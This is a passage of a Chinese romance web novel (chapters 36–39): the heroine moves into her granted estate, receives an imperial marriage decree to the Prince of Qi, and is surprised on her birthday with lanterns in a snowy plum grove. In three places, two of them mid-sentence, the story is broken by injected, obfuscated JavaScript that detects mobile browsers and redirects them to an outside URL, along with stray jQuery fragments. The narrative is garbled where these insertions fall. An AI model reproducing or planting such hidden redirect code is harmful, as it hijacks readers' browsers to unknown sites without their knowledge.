谢含昭被她夸得有些害羞,连忙打开匣子:“姜姐姐快吃点。” 姜同云转身看了一眼送她出宫的女官宫人。 见他们全都远远地站着,没有丝毫上前阻止的模样,姜同云也放下心来,捡了一块点心放入口中。 挑选点心的人非常贴心,知道她今日厚敷粉黛,所以选的都是些非常精致小巧的样式。姜同云一口一个,连吃了三四枚下去,才稍稍觉得缓过一点饿劲来。 到底还是在宫里,姜同云初步缓解了腹中饥饿后就没有再吃了:“殿下,剩下的我带回去吃吧。” 谢含昭点了点头:“好。” 想了想,她又说道:“姜姐姐不要再叫我‘殿下’了,叫我名字就好!” 姜同云一时有些犹豫,小声道:“这不太好吧。” “有什么不好的?”谢含昭理直气壮,“你马上就是我嫂子啦,像怀雵哥哥一样叫我名字才是对的嘛。” 什么叫“马上就是我嫂子啦”? 姜同云内心地震:“啊?” “怀雵哥哥已经求过父皇,给你们俩赐婚了啊。姜姐姐还不知道吗?”谢含昭说着说着,眉头就皱了起来,“他不会没有经过你的同意,就私自去求父皇了吧!” 那可就太坏了,这种行为简直跟那个讨人厌的谢怀晟没什么区别! 小姑娘一时在“怀雵哥哥怎么可以这么过分”和“怀雵哥哥好像也不是这种人”里开始纠结。 意识到自己无意间可能破坏了谢怀雵在小姑娘心里的形象,姜同云连忙补救。 “不是不是,他经过我同意了的。”就是没想到他的动作居然这么迅速。 听到这话,谢含昭终于放下了心来,重新露出笑容:“那就好!那姜姐姐就是愿意做我嫂子的嘛!” 36. 乔迁 姜同云忘了自己是怎么搪塞的小姑娘。 谢含昭用一种并不招人讨厌的方式问了好多关于她和谢怀雵的话题。姜同云已经把自己那没睡够的脑子转出火星子了,都没能招架住她密集的问题。 而且小姑娘好奇心正重,根本没法被转移走话题,最后她连自己有没有露出破绽都顾不上,草草找了个借口仓皇逃离。 下次做这种事情,还是要先跟同伙对过口供才行! 册封仪式后又过了十来天,陛下御赐的乡主府修缮得差不多了。 这日一早,姜同云就带着老爷子一起出门去了一趟宣阳坊,看看他们将来的住处。 宣阳坊地段极好,而且内部住户不多,还全是御赐宅邸。像已经成婚的大公主,她的公主府就建在宣阳坊东头。 姜同云的乡主府自然是没法跟公主府相比。 不过占地面积虽然只有人家的一半,但这也是一处五进带跨院的大宅子了。 知道姜同云今天要来看房子,工部不仅停了工,还特意派了一名参与乡主府修缮的吏员做二人向导。 “这处府邸原是益昌伯的。益昌伯获罪后,这处宅子就一直空置着。”这位王姓吏员引着姜同云二人绕过前门的大影壁,朝宅子前院走去。 老爷子随口问了一句:“可是太|祖皇帝亲封的那位益昌伯?” 益昌伯祖上原本也是开国功臣,因军功受封了一个世袭的伯爵爵位。然而在太宗朝晚期,他们家也卷入了诸位皇子夺嫡的争斗中。因为站错了队,先帝登基后清算政敌,他们也被列入了清算名单里。 益昌伯府军功起家,家中亲属仆从行事一向肆意张扬。所以先帝一开始查他们,先前被他们得罪过的人就一拥而上。最后查出来不少罪行,数罪并罚下,他们家被判了夺爵,抄家流放了。 想到这茬,王吏员心里又有些后悔:自己提什么不好,非提这宅子的前主人呢? 怕这位新封的乡主嫌这处宅子的前主人犯过事不吉利,王吏员又连忙补充道:“虽然益昌伯犯了事,但这处宅子是好宅子,当初建造的时候用的都是上好的料子。现在要是再想找同等的料子建一所差不多的,那可真是难咯。” 姜同云和老爷子谁都不是那种特别讲究的人。 要姜同云说,这片土地上哪里没死过人,还不是照样住人?要真这么讲究吉不吉利的,那可得到天上去找了。 更何况这还是御赐的府邸,难不成还能找陛下去换? 于是姜同云笑了笑:“看着确实是一处好宅子。” 听到这话,王吏员松了口气。 “工部接到陛下指令后,不仅重新翻新了宅子、添置了家具,还移植了一些花木过来。”说着,他抬手比了一圈,“二位瞧瞧,可还有什么想改一改的?” “还能改吗?”姜同云还是第一次享受到这种订制服务,兴致勃勃地问道。 “自然是能的。”王吏员笑了笑,“因为宅子保存的好,所以陛下拨下的款项还有富余。您看那梁下的雀替和檐下的牛腿,您若是不喜欢这些样式,我们还能提供些别的。” 姜同云仔细瞧了瞧几处。 这些基本都是宅子自带的,是当年越朝开国时由第一代益昌伯选定的样式。不同功能的房屋下用的花样也各不相同。好比进门处用的就是门神,前院正厅下用的又是狮子。 当年的益昌伯跟着太|祖打天下,手中积累了不少财富。所以即使是这种细微处,用的也都是好料子好雕工。虽然经受了这么多年的风吹雨打,各处雕花也依旧活灵活现。 于是她笑着摇了摇头:“我瞧着现在这些就很好,不用换了。” 王吏员闻言,一时有些失望。 他倒是挺想拆两个带回去,给工部那些工匠们观摩观摩好东西的。 想了想,王吏员又问道:“那给您再添些花木?如今金陵正时兴种牡丹呢。不过……太名贵的品种可能需要您自己购置。” “不用不用。”姜同云对追赶金陵潮流不感兴趣。 他们晃晃悠悠地逛了一圈。王吏员生怕自己哪里接待不周,又试着提了改建屋子和房间装修的事情。但姜同云对这处宅子哪哪都很满意,最后也只让他再花园里添了几颗花树。 “这里大概还要修缮多久?” 王吏员想了想:“修缮工作其实都已经做得差不多了,就剩后头几间屋子还没移东西进去。您要的花树也都是常见的,大约再有个三五日就好了。” “您放心,一定不会耽误钦天监给您算好的入住吉日的!” 王吏员虽然没有正经官身,但对房屋修建一事很有经验。不出五日,这处宅子果然就修缮好了。 等宅子打扫干净,门口再挂上“永平乡主府”的匾额,姜同云终于可以带着外祖父和行李入住啦! 九月二十八,晴。宜搬家、入宅、祈福、合婚。 永平乡主府正门大开。 姜同云走下马车,由正门踏入这处属于她的宅子。 木樨还是第一次过来。她四下里望了一圈,小声道:“这里看着比咱们家可大多了。” 姜同云笑了:“以后这里也是咱们家了!” ***** 因为宅子太大人手不够,姜宅众人只能先将物品暂时放下,腾出手来先过入住仪式。 赶在吉时前走完一应流程,又将先前封赐的圣旨请入祠堂,姜同云终于有空稍微休息一下了。 谁想到刚坐下来没一会,连茶水都没煮上来,宫里派来的人就来了。 这回居然还是谢含昭打的头。 五公主奉命出宫,来替帝后给姜同云恭贺乔迁。 “父皇赐了金银和好些摆件器物给姐姐。母后给了姐姐两套首饰,还有一些没镶嵌的珠玉宝石。听说宫里还有些娘娘也给姐姐准备了礼物。”小姑娘掰着着手指头数赏赐,“对了,母后说姐姐这里可能人手不够,要我带了一些官属的仆从来供姐姐差使。” 姜同云按例谢过恩,才对谢含昭道:“皇后娘娘真是考虑周全。我刚刚还在说雇人的事情呢!” 这处宅子实在太大了,就姜宅带过来的那点人手,恐怕连花园都打理不过来。 邓皇后送来的这批人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617649|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还有陛下额外赏赐的银钱,可真算得上是解了姜同云的燃眉之急! “哦对。”简单安置过新来的人手后,姜同云想到也该夸一夸负责跑腿的小姑娘,“还得谢谢含昭辛苦跑这一趟~” 谢含昭“嘿嘿”笑了两声,骄傲地挺起胸膛:“不辛苦。而且我今天来,可是有重要任务的!” 姜同云觉得她这样非常有趣,笑着问道:“还有什么任务呀?” 谢含昭用力地清了清嗓子:“永平乡主接旨!” 姜同云一愣。 谢含昭朝她挤了挤眼睛,小声提示道:“是赐婚啦!” 姜宅众人都露出了惊诧的表情。 已经知道会有这出的老爷子只讶异了一瞬,很快就笑了起来:“快去准备香案等物!” 不知情的众人怀揣着惊讶和好奇,忙碌起来。 木樨也是不知情人士。 她当日不在雅间,不知道谢怀雵做出的承诺。这会儿听见陛下要给自家姑娘赐婚,她是又惊又急,生怕这会影响到姑娘先前制定的假成亲计划。 听到老爷子吩咐准备物品接旨,她赶紧拉了拉姜同云的袖子:“姑娘……” 姜同云也觉得,陛下这旨下的,可真是有些突然。 好在她先前已经在谢含昭口中听过相关事情,提前有了心理准备,所以这会倒也镇定。 她示意木樨稍安勿躁。 等到东西摆放齐全,负责宣旨的內监捧出圣旨,当众宣读起来。 等圣旨宣读完毕,姜宅众人已是一派喜气洋洋。 陛下不仅没有随便给姑娘找对象,定的还是齐王这门婚! 他们家姑娘才当上乡主没多久,就又要升级成亲王妃啦! 姜同云和老爷子倒是淡定得很。谢过圣恩,两人接下圣旨,又将这卷新鲜出炉的绸卷请进了祠堂,让它陪另一道圣旨作伴去了。 安置好圣旨,姜同云邀请谢含昭到正厅坐会:“你今天来,能待到什么时候呀?” 谢含昭笑道:“父皇母后允许我吃完午饭再回去呢!” 姜同云也笑了:“那敢情好。正好请你好好逛逛,看看我这新房子怎么样。” 两人正说着话,刚上任的门房就来报,说齐王带人过来了。 刚刚才收到了陛下赐婚的旨意,这会儿姑娘的婚约对象就跑来了。姜宅众人一时都偷笑起来,就连老爷子都没忍住,露出了揶揄的表情。 谢含昭更是一点都没没给她堂兄留面子,当着姜同云的面就抱着自己的胳膊故作夸张地抖了两下:“咦~怀雵哥哥真的好着急哦!” 即使只是和对方假成亲,姜同云也被这些人调侃的目光看得又羞又恼。 所以谢怀雵被请进来的时候,她多少有些嗔怪地斜了对方一眼:“你来做什么?” 谢怀雵挑了挑眉。 他环顾一周,见正厅里的几人都在偷笑,谢含昭那丫头更是明目张胆地朝自己挤眉弄眼,当即明白过来。 于是他也笑了。 “我来恭贺你乔迁之喜。” “顺便……来送聘书。” 37. 聘书 听到他说前半句的时候,姜同云还觉得自己有些反应过度,心中偷偷懊悔;可一听见后半句,那点后悔就完全消失不见了。 她斜了表现得理所应当的谢怀雵一眼,干巴巴地应了一声“哦”就坐了回去。 谢怀雵也不恼,笑吟吟地从身后随从手中接过装有聘书的木匣,双手递给老爷子。 老爷子看了扭过头去和五公主说话的外孙女,无奈地笑了笑,接过谢怀雵递来的聘书:“殿下请坐。” “殿下有心了。有陛下圣旨在,您原本不用再送聘书来的。” 毕竟这封圣旨本身也能算是聘书了,还是最高规格的那种。 谢怀雵只是笑道:“圣旨是为了昭告世人,聘书则是晚辈自己的心意。二者缺一不可。” 老爷子微笑着点了点头。再看聘书内字迹,与先前谢怀雵所写的陈情书一致,他心中对这个未来的孙女婿更是多了几分满意。 见老爷子收下聘书,谢怀雵又道:“陛下已经定了魏王妃做男方媒人。” 初代魏王是太宗幼弟,魏王王爵传至如今已是第三代,刚好也是谢怀雵的叔伯辈。 别看这几位魏王都没什么政治才能,常年醉心书画音律,在朝中没有丝毫影响力。正是因为这种毫无存在感的生存方式,他们才能避开太宗和先帝两朝的争斗,安然至今。 恰好先前中秋,陛下召魏王一家进京过节。考虑到年关将近,过完中秋后陛下又留了魏王。这不正好,就让还在金陵魏王妃担当了谢怀雵这边的媒人。 听到谢怀雵提媒人,老爷子一时也想到了自己这边。 先前谢怀雵开口求娶的时候,老爷子就考虑过到时候请谁来做女方媒人。 他在金陵没有亲戚,只有一些故交和学生。请学生家里人不太合适,所以他原本是想请老友的夫人来帮忙的。 只是这会陛下定了魏王妃做男方媒人,老爷子就有些犹豫了。 魏王妃到底是一品亲王妃。他的老友里,唯一一个为家中夫人挣到诰命的就是卫大人,但是他家夫人近来身体不好,实在是劳累不得。 其他几位夫人还真匹配不上魏王妃的身份。难不成要去请姜同云的婶婶李夫人来?不行不行。 老爷子一时陷入了纠结之中。 见老爷子面露难色,谢怀雵适时道:“若是老爷子找不到合适人选,晚辈这儿倒也能请动梁国夫人来帮忙。” “前几日皇后娘娘召晚辈入宫,说要是永平乡主这里一时找不到合适的媒人,可以去梁国公府请她嫂子来,她已经提前和梁国夫人通过气了,对方也答应了。梁国夫人是一品国夫人,又替乡主做过册封的正使,各方面都是再合适不过的。” 老爷子点了点头,接受了来自邓皇后的好意:“多谢皇后娘娘替我们思虑周全。” 见老爷子认可,谢怀雵又提了一个人:“至于证婚人,晚辈想请邢国夫人来,您觉得如何?” 老爷子迟疑了一下:“邢国夫人?可是我记得,邢国夫人已是年近古稀的老人了?” 如今的邢国公和老爷子是一辈人。他比老爷子还要大上几岁,那他的夫人想来也是已过花甲之年的老人家了。 “邢国夫人今年高寿六十五了。” 老爷子有些犹豫:“这是不是不太合适?” “在京的诸位王公夫人,恐怕没有比她老人家更适合的了。”谢怀雵道,“论身份,她是一品国夫人;论辈分,她也比金陵绝大多数王公长上一辈。” “若再论交情,晚辈在边境之时,曾在邢国公手下为将,与邢国公也算是有一半的师徒情谊。回到金陵后,邢国夫人对晚辈也是多有照拂。” “除非陛下或者皇后娘娘亲临主婚,否则应当无人比她更合此位。” 老爷子闻言,连忙道:“我并不是觉得不合适,只是怕太劳动人家了。” 谢怀雵笑了:“她老人家身子还健朗着呢。前两日晚辈已经去邢国公府上拜访过,她当时二话不说就答应来帮忙了。” 听到这里,老爷子终于放下了心:“既然殿下都已经安排妥当,那就照您说的办吧。”齐王愿意去请足够分量的人来主婚,也能侧面表明他对云丫头、对他俩这门婚事的重视。 两人又就这这个话头商量了一些别的事情。 姜同云坐在一旁,一边跟谢含昭说话,一边偷偷听老爷子和谢怀雵商量自己成亲的事宜。 她越听越觉得,这个走向怎么好像有一点不对劲。 不是说好是假成亲的吗?可是看谢怀雵这个安排的架势,这门婚事好像会弄得特别隆重啊。 隆重,就意味着事多,就意味着麻烦! 而且现在成亲弄得这么大张旗鼓的,肯定会有很多人盯着看他们。以后想要和离也免不了会遭到更多人的议论。 这跟她躺平避祸的理想不是背道而驰了嘛! 想到这里,她心里难免有些焦虑起来。 于是说着说着,谢含昭就发现她姜姐姐突然掉线了。 “姐姐?姐姐?!姜姐姐!”谢含昭连着唤了三声。 姜同云这才回过神来:“啊?” “姐姐刚刚在想什么啊,为什么不理我?”小姑娘狐疑地看着姜同云。 “啊?没、没什么,就是突然想起来一些事情。”姜同云连忙道,“我们刚刚说到哪了?” “说到将来我出宫建府的时候,是选在宣阳坊里好,还是选齐王府在的崇仁坊好啊?”小姑娘也不生气姜同云刚才的走神,重新问了一遍刚才的问题,“姜姐姐以后肯定还是长住齐王府的吧,那我还是选崇仁坊好了。” 听到“长住齐王府”这句,姜同云大觉心虚,偷偷扭过头去想瞄一眼谢怀雵,却不想被对方逮了个正着。 刚刚谢含昭喊姜同云的时候,正在商谈的老爷子和谢怀雵就被她们那边的动静吸引,停下了谈话。 所以这会儿姜同云的偷看行为就正正好被谢怀雵看见了。 发现姜同云偷看自己,谢怀雵神情自然地朝她笑了笑。 见谢怀雵坦然自若地对着自己露出微笑,姜同云连忙转过身去,继续和谢含昭的话题:“这边都挺好的,看你更喜欢哪里吧。” 姜同云刚说完,就听见谢怀雵在她身后轻轻笑了一声。 姜同云被他笑得耳朵都热了起来。 笑什么笑啊! 她刚想再偷偷转回去瞪谢怀雵一眼,就听见外祖父问道:“怎么都没人给殿下上杯茶来?木樨,你快去催一催。” 老爷子发话,姜同云正好趁这个机会出去透透气。于是她连忙站起身来:“我去好了。正好五公主也坐腻了吧,我带你去里面逛逛。” 谢含昭本来就是个坐不住的性子,这会儿一听要去看房子,当即跟着站了起来:“好呀好呀!” 于是两人手挽着手走出了正厅。 离开屋子,又吹了会儿风,姜同云才觉得自己脸上的温度降了一些。 她找了丫鬟吩咐了一声上茶的事,随后带着谢含昭朝花园里走。两人一路逛了好些地方,临近午饭时间,她俩才在下人提示下,晃晃悠悠地去了饭厅。 谁料一进去,姜同云就看见好大一个谢怀雵杵在门口。 都要吃午饭了,这个人怎么还不走呀? 姜同云借口洗手支走谢含昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643218|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又趁老爷子正在吩咐摆菜没注意这边,偷偷溜到谢怀雵身边,小声问道:“你怎么还不走啊?” “老爷子留我用饭,不好推拒。”谢怀雵无奈笑道,“姜姑娘这么着急赶我走,是不是有点过河拆桥的嫌疑?” “怎么会呢……”被他这么一说,姜同云心虚地摸了摸鼻尖,又连忙把锅甩到谢怀雵身上,“再说了,咱俩不是假、假那个吗,你弄得这么隆重做什么。” “隆重吗?可这只是亲王成亲应有的规制。若是办得过于寒酸,丢的可是齐王府的脸面。”谢怀雵笑了笑,又故意放慢语速道,“而且旁人会怀疑我对你的真心的。” 这人说些什么呢! 姜同云觉得自己的耳朵又要烧起来了。她连忙在心里默念道“假的假的”,好让自己陡然提起的情绪平复下来。 她刚想纠正谢怀雵的说法,桌边的老爷子已经转过身来了。 见两个年轻人站在门口说悄悄话,老爷子重重地清了清嗓子:“咳咳。开饭了,都快来坐下吧。” 姜同云连忙应了一声,走到谢含昭那头开始洗手。 好在吃饭的时候,老爷子和谢怀雵没再提之后成亲的事情。几人闲话了一些家常,在一派和谐的氛围里结束了午餐。 用过午饭后,谢怀雵就提出辞行:“估计再过一会儿,魏王妃就该过来提亲纳采了。晚辈留在这里不太合适,就先告辞了。” 经过这几件事,老爷子现在对谢怀雵是说不出的满意,当即点头同意:“好。路上小心些。同云,你去送送殿下。” 姜同云斜了谢怀雵一眼,见他目不斜视,根本没有接收到自己的信号,只能站起身来:“殿下,我送送您。” 谢怀雵忍着笑道:“有劳乡主了。” 两人并肩朝外走去。 一走出正厅,姜同云就小声说道:“殿下,咱们真的不能弄得简单一点吗?” 生怕对方又说什么“怀疑真心”,姜同云吸取刚才的教训,不敢再直接怪对方表现得过于重视:“我就是觉得这样太高调了,也过于铺张浪费,不太好吧。” 谢怀雵点了点头:“姜姑娘考虑得很对。只是三媒人选都已定好,魏王妃还是陛下定的,再要改动不太合适。” “那别的呢?”姜同云提议道,“聘礼什么的可以简单一些嘛。” “这个恐怕……”谢怀雵面露难色,“提亲纳采的礼物,都是陛下和皇后娘娘准备的。他们既是长辈又是尊者,实在不能拂了这份好意。” “至于聘礼,也都是我母妃去世之前就都准备好了的。”谢怀雵无奈道,“虽然我父母早逝,但家中老管家还在。若是给姑娘的聘礼少了,旁人不说,他一定会起疑的。” 姜同云原本以为他家里没别的什么人,成亲后可以不用特别费心伪装。谁知道现在这么一看,跟谢怀雵伪装夫妻的难度怎么好像还挺高的呢。 不对劲,非常不对劲啊! 姜同云刚想说些什么,就听身旁的谢怀雵道:“若是姑娘觉得受之有愧,就当是暂时替我保存吧。将来若是……你我和离,姑娘再还给我就是了。” 姜同云一口应下道:“好!我一定会还给你的!” 这样她心里也能稍稍安稳一些嘛。 谢怀雵脸上的笑容微滞。但他很快就掩饰了过去:“姜姑娘就送到这里吧。” 姜同云看了看,这里距离大门也就两步了。 于是她痛快地点了点头:“您去忙吧!” 谢怀雵拱了拱手,转身离去。 看着他的背影,姜同云突然觉得有些奇怪:咦?怎么突然觉得他看起来好像有点……落寞啊? 38. 生辰 到了下午,魏王妃和梁国夫人一齐到了永平乡主府,开始帮忙张罗下聘的事宜。 等到走完流程后,魏王妃率先告辞,带着姜同云的生辰八字入宫复命去了,走的时候还顺便捎走了不情不愿的谢含昭小朋友。 倒是梁国夫人留下来没走。 也幸亏她没走,因为很快就有人上门来送贺礼了。 最先派人过来的是同样住在宣阳坊内的大公主。 有梁国夫人指点帮衬,姜同云顺利地接待了公主府里派来送礼的管事嬷嬷。 之后又陆陆续续来了好些人,姜同云一边处理事情,一边听梁国夫人简述今日来的这些人是何身份、彼此之间关系如何。 等到太阳西斜,门房终于不再通报了。 梁国夫人看时辰差不多,就也起身告辞了。 送走全部客人后,姜同云终于有空回房歇一歇了。 她累的晚饭都吃不下,靠坐在软榻上,长长地叹了一口气。 早知道现在这么辛苦,当初说什么也不能同意找谢怀雵假成亲啊! 现在还只是定亲呢,自己来之不易的躺平生活就已经消失无踪了。 果然,做人不能丧良心,一想贪不属于自己的便宜,就会付出代价。 想到将来做了王妃,指不定还有更多的人情往来等着自己,姜同云就面露痛苦之色。 接下来几日,姜同云一直都在忙着收贺礼。 知道陛下给齐王和新封的永平乡主赐婚,金陵稍微有点地位的人都赶过来跟姜同云攀关系了。宗室之人自不必说,连先前被姜同云和谢含昭联手摆了一道的赵王跟孙贤妃都捏着鼻子给她送了贺礼,其余嫔妃还有皇子公主们自然也不会落下。 让姜同云感到意外的是,义阳侯府居然没有趁着这个机会再来尝试修复关系。义阳侯和李夫人就只打发了一个老实巴交的管事过来,那人连吉祥话都说得磕磕巴巴的,送了礼就着急忙慌地走了。 估计是上次过来碰了一鼻子灰,这会儿还没缓过劲来吧。 不过义阳侯府倒是还在礼物里夹了一封请帖。 姜向瑶和韩纬的婚期已经定下,就在明年二月初。这封请帖是姜向瑶所书,邀请姜同云到时候去府上添妆送嫁。 姜同云收下了这封请帖。 ***** 陛下赐婚之后,姜同云在金陵的交际活动一下子就变多了。 临近年底,各府之间往来走动本来就多。姜同云成了准王妃后,旁的人不说,至少各家宗室之间的邀约就少不了。 今日这家邀她听戏,明日那家请她赴宴。中间还收到了四公主成婚的喜帖,去参加了一回喜宴。 时间就在忙忙碌碌中一晃而过。 等陶叔开始指挥人采买年货,姜同云才意识到,不知不觉间居然已经进入腊月了。 不仅这一年快要过去,姜同云的生日马上也要到了。 腊月初十一早,姜同云就被喜气洋洋的木樨叫了起来。 换上新衣裳,吃过一碗长寿面后,谢含昭就出宫来找她玩了。 也许是帝后现在对姜同云更加放心了,自打她与谢怀雵后被赐婚后,小姑娘出宫找她玩耍的频率那是直线上升。 前阵子谢含昭去几个姐姐府上赴宴,邓皇后甚至还直接让人先把女儿送来姜同云这里。两人一起赴宴,姜同云可以管着谢含昭不让她乱跑闯祸,谢含昭也能帮着姜同云熟悉宗室内各家关系,简直一举两得。 今日姜同云生辰,因为不是什么整寿,她没打算办什么宴会庆祝。谢含昭知道后就拍着胸脯表示一切由自己安排。 小姑娘的保密工作做得很不错,她只让姜同云那天早些起来,别的什么也不肯多说,一副神神秘秘的样子。 这些天姜同云也不是试过套话,不过谢含昭警觉得很,姜同云一提起相关话题,她就立刻把嘴巴紧紧地闭起来,所以姜同云还真不知道今天谢含昭要带自己去做什么。 不知道就不知道吧,就当是个惊喜项目了。 谢含昭到的时候,姜同云才刚吃完早饭。 “你今天什么时候起的呀?不会宫门一开就出来了吧?”这勤奋程度,都快赶上那些需要上朝的大臣们了。 “今天要出门嘛!”小姑娘倒是活力满满,一点也看不出早起的困倦,“姐姐好了的话咱们就要走啦!” “好了好了。”姜同云连忙洗了手,穿上厚厚的毛里子外衣,跟着谢含昭一起出了门。 她原以为谢含昭只是带着她去金陵周边哪个地方玩,没想到马车走了两三个时辰都不带停的。不仅已经出了金陵地界,而且还越走越远了。 看着外头的山路,姜同云真是愈发好奇了:“含昭,咱们还要走多久啊?” 谢含昭凑到窗边看了看:“快了快了。” 说是快了,又走了一个多时辰,马车才停了下来。 这会都已经是下午了,两人的午饭都是在马车上对付的。 姜同云下车的时候只觉得身上的骨头都被震松了。 她原地走了两步,又伸了伸胳膊蹬了蹬腿,这才觉得稍微舒服一点。 他们现在在半山腰的位置,马车停在了一处宽阔平台上。向上看,还能瞧见一整列青石铺成的石阶。 接下去大概就得自己爬山了。 不过此处风景倒是不错。周围山上遍植梅树,站在平台上向四野望去,可以看见山坡上重重叠叠盛开的梅花。白粉二色的花朵如同堆雪一般压在枝头,“雪堆”中间还点缀着几枝红梅,远远望去,美不胜收。 姜同云深深吸了一口气。冷冽的空气里夹杂着梅花的清香,将她坐车的疲惫和困倦冲刷一空。 这里倒还真是个观光游览的好地方。 只是这趟出来,今天晚上怕是赶不回去了。 不过谢含昭今天出来带了不少人,负责护卫的队伍里甚至还有一小支禁军。有这么些人跟着,在外头住一晚也不是什么大事。 就当是来度假的吧! 想到这里,姜同云放下忧虑,挽着谢含昭的手一起向上攀登起来。 走了大约十来分钟,姜同云觉得脚下一滑。 她低头一看,惊讶地问道:“这里下过雪了?” 谢含昭“嘿嘿”两声:“就是因为下过雪了,所以才带姐姐来这里玩的嘛!” 听谢含昭介绍,姜同云才知道,这里是一处隶属皇家的温泉行宫。 因为位置靠北一些,加上有山体高度在,所以每年冷下来后,这里多少都会有积雪。今年一进腊月,这处行宫就下了两场小雪。 虽然这两场雪都不大,但因为温度比较低,所以雪层都积了起来,没有化掉。 谢含昭就是听说这里能看雪泡温泉,所以才带着姜同云过来的。 “听说在我们住的地方,还有温泉池子那边,已经有这么厚的雪了。”小姑娘边说边捏起拇指和食指,比划了一个厚度。 姜同云前世虽然是个南方人,但到底生活在通行便捷、信息爆炸的时代,对北方积雪的厚度是有真实认知的。谢含昭现在比划那点的雪层,跟她前世见过的那些其实根本没有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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起先还都只是一些动物造型的小灯,挂在梅林枝桠上;走了几步后,就出现了悬在主枝上、中等大小的宫灯;再往里走,那些大型的人物主题宫灯已经没法再挂在树上,只能错落地摆在地上,或是由竹棚架子支起悬挂。 姜同云一路走一路看,只觉眼前这些灯笼各有不同,看得她眼花缭乱。 她还在看右手边那串燕雀衔枝的灯笼,谢含昭却停下了前行的脚步。 姜同云转过头。 梅林中央的空地上,摆着一盏足有一人多高的八面宫灯。宫灯的每一面都绘有一副图景,伴随着宫灯缓慢的旋转,徐徐铺开一副嫦娥奔月的故事图卷。 宫灯之下,身披玄色狐裘的谢怀雵浅浅而笑。 姜同云愣在原地。 冬夜的灯火辉煌灿烂,照在落了雪的梅林里,映得梅花和雪堆都泛起了温暖的色泽。 烛光投在谢怀雵身上,给他勾勒出了一圈暖黄色的光晕。宫灯旋转,偶尔又有晚风浮动,灯火明明灭灭扑朔不停,他身上的光也跟着跃动不止。恍惚间,姜同云仿佛看到有细小的火光正在围绕着谢怀雵燃动。 花团灯海里,谢怀雵抬步,缓缓向着姜同云走来。 他带起了一股被灯火熏热的微风,携着一股莫名好闻的味道,轻柔地拂在姜同云鼻尖。 谢怀雵平日里是不熏香的。他的身上永远都只有一股浅淡的、晒过太阳的木香。 但此时此刻,姜同云闻到了一种清冽幽长、若有似无的香味。 那是什么味道? 姜同云还在思考,谢怀雵已然走到了她的面前。 “听老爷子说,中秋那日,你去灯市是想赢走一盏嫦娥灯的。只是后来发生了那些事情,所以你们提前回去了。” 谢怀雵浅笑着问道:“今日你生辰,我能给你补上这一盏吗?” 啊,是梅花香。 39. 下雪 “是梅花香……” “梅花香?”谢怀雵看着面前明显走神的姑娘,露出了无奈的笑容,“可能是因为这里种了很多梅树吧。” 意识到自己走神时答非所问,姜同云连忙补救道:“我是在说你身上的味道——” 话一出口,她立刻意识到自己的措辞有些暧昧,当即捂住了自己的嘴。 可惜为时已晚,面前的男人已经讶异地挑高了眉毛。 “我不是……就是你身上突然多了梅花的香味……”姜同云试图解释一下自己刚刚的话,但她越解释越觉得自己不对,说到后面她的舌头都快打结了。 无奈之下,她只能自暴自弃地捂住自己的脸,老实地选择闭嘴。 谢怀雵好不容易才压下嘴角。 看着恨不得把自己埋进雪地里去的姜同云,他主动解围道:“可能是因为我在这里待久了,所以才沾上了梅花的味道吧。” 姜同云“嗯嗯”应了两声,忽又发现问题:“在这里待久了?你是什么时候过来的?” 谢怀雵想了想:“我是三天前的下午来的。因为准备了很多灯,所以得提前几天开始布置。幸亏天公作美,昨天晚上又下了一场小雪,不然今日这梅林也不会有这般的好景致。” 他三天前就过来了。 听到这里,姜同云心里像是被揪了一下。 尽管这里有温泉,但到底是在山上。能下雪的温度,可想而知这里要比金陵冷上不少。 谢怀雵本来就身体不好,还患有咳疾。这要是一个没注意,弄不好他又得直接病倒了。 想到这里,姜同云表情认真地说道:“你身体要紧,下次别这么费心布置了。” 谢怀雵被她说得一愣。 他脸上露出了失望沮丧的表情:“你……不喜欢吗?” 姜同云看不得他这般低落,连忙道:“喜欢的!但是天气这么冷……” 不料谢怀雵根本不给她说话的机会:“既然喜欢,那你会收下这盏灯的吧?” 看着面前眼含希望的谢怀雵,还有他身后那盏精美至极的八角宫灯,姜同云…… 根本就说不出来拒绝的话好吧! 她叹了口气:“好吧,我会收下的。” 听到这话,谢怀雵终于笑了。 刚刚悄默声跑走的谢含昭也在这个时候捧着一只大瓷盘回来了。 “姜姐姐生辰吉乐!”小姑娘将手里的瓷盘捧到姜同云面前,“姐姐早上吃过长寿面了,我就让人做了寿饼来。” 姜同云接过瓷盘,看着里面摆着的那只被做成梅花形状的大寿饼,笑着揉了揉谢含昭的发顶:“谢谢含昭,我很喜欢。” 见身旁的谢怀雵忽然收敛了笑意,露出先前那种失望的表情,姜同云又连忙补充道:“也谢谢殿下。灯很漂亮,我也很喜欢。” 谢怀雵这才重新露出笑容。 姜同云端着盘子,三人一道在梅林的亭子里坐下。 亭子里已经摆上了几样小菜和热乎乎的饮子,三人聚成一场小宴,就着菜肴热饮开始分食寿饼。 此时已是月上中天。日趋圆满的月亮挂在暗蓝色的天幕上,投洒下柔和的银辉。 天空中虽然没有多少星辰,但地上的灯火汇成星河,与皎洁明月遥相呼应。 吃完饭时天色已晚。 见姜同云和谢含昭二人已经接二连三地打起呵欠来,谢怀雵便提议送她俩回去休息。 